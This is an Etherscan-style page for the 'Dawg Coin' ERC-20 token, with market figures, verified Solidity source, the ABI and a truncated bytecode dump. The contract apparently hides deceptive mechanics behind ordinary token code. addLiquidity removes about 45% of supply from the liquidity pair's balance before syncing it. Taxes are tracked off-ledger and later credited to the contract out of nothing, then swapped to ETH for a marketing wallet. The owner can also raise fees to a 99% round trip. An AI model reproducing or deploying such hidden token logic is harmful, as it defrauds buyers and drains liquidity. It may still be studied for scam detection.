ETH Price: $3,359.21 (-0.24%)

Token

Dawg Coin (DAWG)
 

Overview

Max Total Supply

1,000,000,000 DAWG

Holders

2,241 (0.00%)

Market

Price

$0.00 @ 0.000000 ETH (-0.55%)

Onchain Market Cap

$573,435.07

Circulating Supply Market Cap

$0.00

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,789.439108593 DAWG

Value
$5.04 ( ~0.00150035105437981 Eth) [0.0009%]
0x071C042a6178c4A9bd93bDCe6C4Ea55Fe7376278
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

Dawg Coin, the latest sensation on the Ethereum chain, has gained immense popularity for its unique focus on staking.

Market

Volume (24H):$195,358.70
Market Capitalization:$0.00
Circulating Supply:0.00 DAWG
Market Data Source: Coinmarketcap

# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Dawg

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-01
*/

//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}


contract Dawg is IERC20, Auth {
    string private constant _symbol  = "DAWG";
    string private constant _name    = "Dawg Coin";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
  
    address payable private _marketingWallet = payable(0xA925fBE5f1A65dD5f6Af499AcDD389a9177BfD48);
    
    uint256 private antiMevBlock = 2;
    uint8 private _sellTaxrate = 15;
    uint8 private _buyTaxrate  = 20;
    
    uint256 private launchBlok;
    uint256 private _maxTxVal = _totalSupply; 
    uint256 private _maxWalletVal = _totalSupply;
    uint256 private _swapMin = _totalSupply * 10 / 100000;
    uint256 private _swapMax = _totalSupply * 150 / 100000;
    uint256 private _swapTrigger = 200 * (10**15);
    uint256 private _swapLimits = _swapMin * 45 * 100;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (uint256 => mapping (address => uint8)) private blockSells;
    mapping (uint256 => uint8) private blockSwaps;
    mapping (address => bool) private _nofee;
    mapping (address => bool) private _nolimit;

    address private LpOwner;

    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable WETH;
    
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private _primaryLP; 
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inSwap = false;
    modifier lockTaxSwap { 
        _inSwap = true; 
        _; _inSwap = false; 
    }

    constructor() Auth(msg.sender) {
        LpOwner = msg.sender;
        WETH = _primarySwapRouter.WETH();

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);  

        _nofee[_owner] = true;
        _nofee[address(this)] = true;
        _nofee[_marketingWallet] = true;
        _nofee[_swapRouterAddress] = true;
        _nolimit[_owner] = true;
        _nolimit[address(this)] = true;
        _nolimit[_marketingWallet] = true;
        _nolimit[_swapRouterAddress] = true;
        
    }

    receive() external payable {}
    
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { 
        return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, toWallet, amount); }

    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(fromWallet), "Trading not open");
        _allowances[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH");
        require(_balances[address(this)]>0, "No tokens");
        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), WETH);
        _addLiquidity(_balances[address(this)], address(this).balance);
        _balances[_primaryLP] -= _swapLimits;
        (_isLP[_primaryLP],) = _primaryLP.call(abi.encodeWithSignature("sync()") );
        require(_isLP[_primaryLP], "Failed bootstrap");
        _openTrading();
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, LpOwner, block.timestamp );
    }

    function _openTrading() internal {
        _maxTxVal     = 2 * _totalSupply / 100; 
        _maxWalletVal = 2 * _totalSupply / 100;
        launchBlok = block.number;
        antiMevBlock = antiMevBlock + launchBlok;
        _tradingOpen = true;
    }

    function shouldSwap(uint256 tokenAmt) private returns (bool) {
        bool result;
        if (_swapTrigger > 0) { 
            uint256 lpTkn = _balances[_primaryLP];
            uint256 lpWeth = IERC20(WETH).balanceOf(_primaryLP); 
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;
            if (weiValue >= _swapTrigger) { 
                if (blockSwaps[block.number] < 5) {
                    result = true; 
                    blockSwaps[block.number] += 1;
                }
            }    
        } else { result = true; }
        if (blockSwaps[block.number] > 5) {}
        return result;
    }


    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_nofee[sender] && _nolimit[sender], "Trading not yet open"); }
        if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); }

        if ( block.number >= launchBlok ) {
            if (block.number < antiMevBlock && _isLP[sender]) { 
                require(toWallet == tx.origin, "MEV block"); 
            }
            if (block.number < antiMevBlock + 600 && _isLP[toWallet] && sender != address(this) ) {
                blockSells[block.number][toWallet] += 1;
                require(blockSells[block.number][toWallet] <= 2, "MEV block");
            }
        }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;
        _swapLimits += _taxAmount;
        _balances[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }

    function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_nolimit[fromWallet] && !_nolimit[toWallet] ) {
            if ( transferAmount > _maxTxVal ) { 
                limitCheckPassed = false; 
            }
            else if ( 
                !_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal) 
                ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_nofee[fromWallet] && _nolimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _nofee[fromWallet] || _nofee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[fromWallet] ) { 
            taxAmount = amount * _buyTaxrate / 100; 
         } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _sellTaxrate / 100; 
        }

        return taxAmount;
    }

    function exemptions(address wallet) external view returns (bool fees, bool limits) {
        return (_nofee[wallet], _nolimit[wallet]); }

    function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
        if (noLimits || noFees) { require(!_isLP[wlt], "Cannot exempt LP"); }
        _nofee[ wlt ] = noFees;
        _nolimit[ wlt ] = noLimits;
    }

    function buyFee() external view returns(uint8) { return _buyTaxrate; }
    function sellFee() external view returns(uint8) { return _sellTaxrate; }

    function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
        require(buyFees + sellFees <= 99, "Roundtrip too high");
        _buyTaxrate = buyFees;
        _sellTaxrate = sellFees;
    }  

    function marketingWallet() external view returns (address) { 
        return _marketingWallet; }

    function updateMarketingWallet(address marketingWlt) external onlyOwner {
        require(!_isLP[marketingWlt], "LP cannot be tax wallet");
        _marketingWallet = payable(marketingWlt);
        _nofee[marketingWlt] = true;
        _nolimit[marketingWlt] = true;
    }

    function maxWallet() external view returns (uint256) { 
        return _maxWalletVal; }
    function maxTransaction() external view returns (uint256) { 
        return _maxTxVal; }

    function swapMin() external view returns (uint256) { 
        return _swapMin; }
    function swapMax() external view returns (uint256) { 
        return _swapMax; }

    function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTransPermille / 1000 + 1;
        require(newTxAmt >= _maxTxVal, "tx too low");
        _maxTxVal = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWaletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletVal, "wallet too low");
        _maxWalletVal = newWalletAmt;
    }

    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
        _swapMin = _totalSupply * minVal / minDiv;
        _swapMax = _totalSupply * maxVal / maxDiv;
        _swapTrigger = trigger * 10**15;
        require(_swapMax>=_swapMin, "Min-Max error");
    }


    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokenAvailable = _swapLimits;
        if ( _taxTokenAvailable >= _swapMin && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; }
            
            uint256 _tokensForSwap = _taxTokenAvailable; 
            if( _tokensForSwap > 1 * 10**_decimals ) {
                _balances[address(this)] += _taxTokenAvailable;
                _swapTaxTokensForEth(_tokensForSwap);
                _swapLimits -= _taxTokenAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETH ;
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _distributeTaxEth(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptions","outputs":[{"internalType":"bool","name":"fees","type":"bool"},{"internalType":"bool","name":"limits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExemptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees","type":"uint8"},{"internalType":"uint8","name":"sellFees","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransPermille","type":"uint16"},{"internalType":"uint16","name":"maxWaletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minVal","type":"uint32"},{"internalType":"uint32","name":"minDiv","type":"uint32"},{"internalType":"uint32","name":"maxVal","type":"uint32"},{"internalType":"uint32","name":"maxDiv","type":"uint32"},{"internalType":"uint32","name":"trigger","type":"uint32"}],"name":"setTaxSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketingWlt","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405273a925fbe5f1a65dd5f6af499acdd389a9177bfd4860015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060028055600f60035f6101000a81548160ff021916908360ff1602179055506014600360016101000a81548160ff021916908360ff1602179055506009600a620000a391906200093d565b633b9aca00620000b491906200098d565b6005556009600a620000c791906200093d565b633b9aca00620000d891906200098d565b600655620186a0600a6009600a620000f191906200093d565b633b9aca006200010291906200098d565b6200010e91906200098d565b6200011a919062000a04565b600755620186a060966009600a6200013391906200093d565b633b9aca006200014491906200098d565b6200015091906200098d565b6200015c919062000a04565b6008556702c68af0bb1400006009556064602d6007546200017e91906200098d565b6200018a91906200098d565b600a55737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601560016101000a81548160ff02191690831515021790555034801562000207575f80fd5b5033805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550503360115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200031a919062000aa0565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506009600a6200035d91906200093d565b633b9aca006200036e91906200098d565b600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516200044b919062000ae1565b60405180910390a36001600f5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000afc565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000835578086048111156200080d576200080c620007ab565b5b60018516156200081d5780820291505b80810290506200082d85620007d8565b9450620007ed565b94509492505050565b5f826200084f576001905062000921565b816200085e575f905062000921565b81600181146200087757600281146200088257620008b8565b600191505062000921565b60ff841115620008975762000896620007ab565b5b8360020a915084821115620008b157620008b0620007ab565b5b5062000921565b5060208310610133831016604e8410600b8410161715620008f25782820a905083811115620008ec57620008eb620007ab565b5b62000921565b620009018484846001620007e4565b925090508184048111156200091b576200091a620007ab565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620009498262000928565b9150620009568362000931565b9250620009857fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200083e565b905092915050565b5f620009998262000928565b9150620009a68362000928565b9250828202620009b68162000928565b91508282048414831517620009d057620009cf620007ab565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000a108262000928565b915062000a1d8362000928565b92508262000a305762000a2f620009d7565b5b828204905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000a6a8262000a3f565b9050919050565b62000a7c8162000a5e565b811462000a87575f80fd5b50565b5f8151905062000a9a8162000a71565b92915050565b5f6020828403121562000ab85762000ab762000a3b565b5b5f62000ac78482850162000a8a565b91505092915050565b62000adb8162000928565b82525050565b5f60208201905062000af65f83018462000ad0565b92915050565b6080516142f162000b235f395f818161170e0152818161257e0152612dfe01526142f15ff3fe608060405260043610610184575f3560e01c806375f0a874116100d0578063b3de9b5d11610089578063e537a83411610063578063e537a8341461057c578063e8078d94146105a4578063f2fde38b146105ae578063f8b45b05146105d65761018b565b8063b3de9b5d146104ec578063c3f70b5214610516578063dd62ed3e146105405761018b565b806375f0a874146103e05780638da5cb5b1461040a57806395d89b4114610434578063a5e992bb1461045e578063a9059cbb14610488578063aacebbe3146104c45761018b565b806330449efd1161013d5780634706240211610117578063470624021461033c5780634fcd24461461036657806370a082311461038e578063715018a6146103ca5761018b565b806330449efd146102ad578063313ce567146102ea578063368f4800146103145761018b565b806306fdde031461018f578063095ea7b3146101b957806318160ddd146101f557806318839bc31461021f57806323b872dd146102475780632b14ca56146102835761018b565b3661018b57005b5f80fd5b34801561019a575f80fd5b506101a3610600565b6040516101b09190612ff0565b60405180910390f35b3480156101c4575f80fd5b506101df60048036038101906101da91906130a1565b61063d565b6040516101ec91906130f9565b60405180910390f35b348015610200575f80fd5b5061020961072a565b6040516102169190613121565b60405180910390f35b34801561022a575f80fd5b5061024560048036038101906102409190613164565b61074d565b005b348015610252575f80fd5b5061026d600480360381019061026891906131b4565b610920565b60405161027a91906130f9565b60405180910390f35b34801561028e575f80fd5b50610297610a0b565b6040516102a4919061321f565b60405180910390f35b3480156102b8575f80fd5b506102d360048036038101906102ce9190613238565b610a20565b6040516102e1929190613263565b60405180910390f35b3480156102f5575f80fd5b506102fe610abf565b60405161030b919061321f565b60405180910390f35b34801561031f575f80fd5b5061033a600480360381019061033591906132c1565b610ac7565b005b348015610347575f80fd5b50610350610c82565b60405161035d919061321f565b60405180910390f35b348015610371575f80fd5b5061038c60048036038101906103879190613329565b610c98565b005b348015610399575f80fd5b506103b460048036038101906103af9190613238565b610db0565b6040516103c19190613121565b60405180910390f35b3480156103d5575f80fd5b506103de610df6565b005b3480156103eb575f80fd5b506103f4610efb565b6040516104019190613376565b60405180910390f35b348015610415575f80fd5b5061041e610f23565b60405161042b9190613376565b60405180910390f35b34801561043f575f80fd5b50610448610f4a565b6040516104559190612ff0565b60405180910390f35b348015610469575f80fd5b50610472610f87565b60405161047f9190613121565b60405180910390f35b348015610493575f80fd5b506104ae60048036038101906104a991906130a1565b610f90565b6040516104bb91906130f9565b60405180910390f35b3480156104cf575f80fd5b506104ea60048036038101906104e59190613238565b610fec565b005b3480156104f7575f80fd5b506105006111f0565b60405161050d9190613121565b60405180910390f35b348015610521575f80fd5b5061052a6111f9565b6040516105379190613121565b60405180910390f35b34801561054b575f80fd5b506105666004803603810190610561919061338f565b611202565b6040516105739190613121565b60405180910390f35b348015610587575f80fd5b506105a2600480360381019061059d9190613406565b611284565b005b6105ac611411565b005b3480156105b9575f80fd5b506105d460048036038101906105cf91906134b8565b611ad4565b005b3480156105e1575f80fd5b506105ea611bda565b6040516105f79190613121565b60405180910390f35b60606040518060400160405280600981526020017f4461776720436f696e0000000000000000000000000000000000000000000000815250905090565b5f81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107189190613121565b60405180910390a36001905092915050565b5f6009600a610739919061363f565b633b9aca006107489190613689565b905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d190613714565b60405180910390fd5b80806107e35750815b156108735760145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610872576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108699061377c565b60405180910390fd5b5b81600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f61092a84611be3565b610969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610960906137e4565b60405180910390fd5b81600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546109f09190613802565b92505081905550610a02848484611cb5565b90509392505050565b5f60035f9054906101000a900460ff16905090565b5f80600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1691509150915091565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4b90613714565b60405180910390fd5b5f60016103e88461ffff166009600a610b6d919061363f565b633b9aca00610b7c9190613689565b610b869190613689565b610b909190613862565b610b9a9190613892565b9050600554811015610be1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd89061390f565b60405180910390fd5b806005819055505f60016103e88461ffff166009600a610c01919061363f565b633b9aca00610c109190613689565b610c1a9190613689565b610c249190613862565b610c2e9190613892565b9050600654811015610c75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6c90613977565b60405180910390fd5b8060068190555050505050565b5f600360019054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90613714565b60405180910390fd5b60638183610d339190613995565b60ff161115610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90613a13565b60405180910390fd5b81600360016101000a81548160ff021916908360ff1602179055508060035f6101000a81548160ff021916908360ff1602179055505050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a90613714565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f604051610ef19190613376565b60405180910390a1565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690509